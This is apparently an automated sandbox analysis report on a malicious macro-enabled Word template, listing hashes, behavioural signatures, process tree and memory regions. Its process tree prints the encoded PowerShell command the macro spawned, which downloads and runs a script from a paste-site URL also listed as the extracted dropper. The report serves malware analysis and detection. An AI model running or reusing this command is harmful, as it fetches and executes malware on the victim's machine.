Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/04/2024, 09:50

General

  • Target

    1ba380f22bdd33f766d3954cc658d8bbc52fbeb8ec46e4a44fa503cef06e9769.dotm

  • Size

    15KB

  • MD5

    c43c50baa3271b375298847bf6a7fc13

  • SHA1

    962fe93d5803bfb80afc08847d35f2f8e628f2ff

  • SHA256

    1ba380f22bdd33f766d3954cc658d8bbc52fbeb8ec46e4a44fa503cef06e9769

  • SHA512

    2aed1ea542440256e787a4fbfaf520730ba71befaa3da826da248dc7c7df0385cd13fd689eed7fe5ff7d50718a29aa86232dd3f29c20410f2004bc1425c4fe70

  • SSDEEP

    192:HNmtBloyrExesIt1vwwV/H9eTblYbOgQ0CilPB2nzkx392bZr5JCpU78MLCY1zWU:tmtCs1IwVP9efxM2AxdUfLCIzWdb5qT/

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://paste.c-net.org/StaceConcerns

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\1ba380f22bdd33f766d3954cc658d8bbc52fbeb8ec46e4a44fa503cef06e9769.dotm" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4288
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -w 1 -ep bypass -e aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAHAAYQBzAHQAZQAuAGMALQBuAGUAdAAuAG8AcgBnAC8AUwB0AGEAYwBlAEMAbwBuAGMAZQByAG4AcwAnACkA
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:452

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tg4rscbe.vn5.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/452-56-0x00007FFF8C810000-0x00007FFF8D2D1000-memory.dmp

          Filesize

          10.8MB

        • memory/452-53-0x000001D0F9830000-0x000001D0F9840000-memory.dmp

          Filesize

          64KB

        • memory/452-48-0x000001D0F9830000-0x000001D0F9840000-memory.dmp

          Filesize

          64KB

        • memory/452-47-0x000001D0F9830000-0x000001D0F9840000-memory.dmp

          Filesize

          64KB

        • memory/452-46-0x00007FFF8C810000-0x00007FFF8D2D1000-memory.dmp

          Filesize

          10.8MB

        • memory/452-42-0x000001D0E15B0000-0x000001D0E15D2000-memory.dmp

          Filesize

          136KB

        • memory/4288-9-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp

          Filesize

          2.0MB

        • memory/4288-2-0x00007FFF77D30000-0x00007FFF77D40000-memory.dmp

          Filesize

          64KB

        • memory/4288-0-0x00007FFF77D30000-0x00007FFF77D40000-memory.dmp

          Filesize

          64KB

        • memory/4288-10-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp

          Filesize

          2.0MB

        • memory/4288-11-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp

          Filesize

          2.0MB

        • memory/4288-12-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp

          Filesize

          2.0MB

        • memory/4288-14-0x00007FFF759C0000-0x00007FFF759D0000-memory.dmp

          Filesize

          64KB

        • memory/4288-13-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp

          Filesize

          2.0MB

        • memory/4288-15-0x00007FFF759C0000-0x00007FFF759D0000-memory.dmp

          Filesize

          64KB

        • memory/4288-26-0x000001EC19100000-0x000001EC1A0D0000-memory.dmp

          Filesize

          15.8MB

        • memory/4288-31-0x000001EC14B10000-0x000001EC15310000-memory.dmp

          Filesize

          8.0MB

        • memory/4288-8-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp

          Filesize

          2.0MB

        • memory/4288-6-0x00007FFF77D30000-0x00007FFF77D40000-memory.dmp

          Filesize

          64KB

        • memory/4288-4-0x00007FFF77D30000-0x00007FFF77D40000-memory.dmp

          Filesize

          64KB

        • memory/4288-5-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp

          Filesize

          2.0MB

        • memory/4288-7-0x00007FFF77D30000-0x00007FFF77D40000-memory.dmp

          Filesize

          64KB

        • memory/4288-3-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp

          Filesize

          2.0MB

        • memory/4288-1-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp

          Filesize

          2.0MB

        • memory/4288-57-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp

          Filesize

          2.0MB

        • memory/4288-63-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp

          Filesize

          2.0MB

        • memory/4288-64-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp

          Filesize

          2.0MB

        • memory/4288-65-0x000001EC19100000-0x000001EC1A0D0000-memory.dmp

          Filesize

          15.8MB

        • memory/4288-66-0x000001EC14B10000-0x000001EC15310000-memory.dmp

          Filesize

          8.0MB

        • memory/4288-87-0x00007FFF77D30000-0x00007FFF77D40000-memory.dmp

          Filesize

          64KB

        • memory/4288-88-0x00007FFF77D30000-0x00007FFF77D40000-memory.dmp

          Filesize

          64KB

        • memory/4288-90-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp

          Filesize

          2.0MB

        • memory/4288-92-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp

          Filesize

          2.0MB

        • memory/4288-91-0x00007FFF77D30000-0x00007FFF77D40000-memory.dmp

          Filesize

          64KB

        • memory/4288-89-0x00007FFF77D30000-0x00007FFF77D40000-memory.dmp

          Filesize

          64KB

        • memory/4288-93-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp

          Filesize

          2.0MB

        • memory/4288-94-0x00007FFFB7CB0000-0x00007FFFB7EA5000-memory.dmp

          Filesize

          2.0MB